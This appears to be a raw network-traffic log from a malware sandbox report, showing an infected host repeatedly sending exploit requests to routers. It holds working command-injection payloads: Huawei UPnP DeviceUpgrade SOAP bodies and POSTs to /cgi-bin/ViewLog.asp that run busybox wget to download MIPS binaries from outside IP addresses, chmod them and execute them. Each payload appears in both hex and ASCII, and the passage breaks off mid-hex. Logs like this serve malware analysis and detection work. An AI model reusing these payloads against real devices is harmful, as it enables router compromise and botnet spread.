Nov 23, 2023 05:16:11.718496084 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:15.654544115 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:23.334481001 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:16:38.694488049 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:10.694417000 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.13	55506	31.136.86.4	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:10.540867090 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:13.606626034 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.750504017 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:31.782538891 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:56.358424902 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:45.510277987 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.13	59116	31.136.155.31	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:10.540927887 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:13.606627941 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.750514984 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:31.782548904 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:56.358423948 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:45.510267973 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.13	35242	156.198.243.123	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:11.452014923 CET	886	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 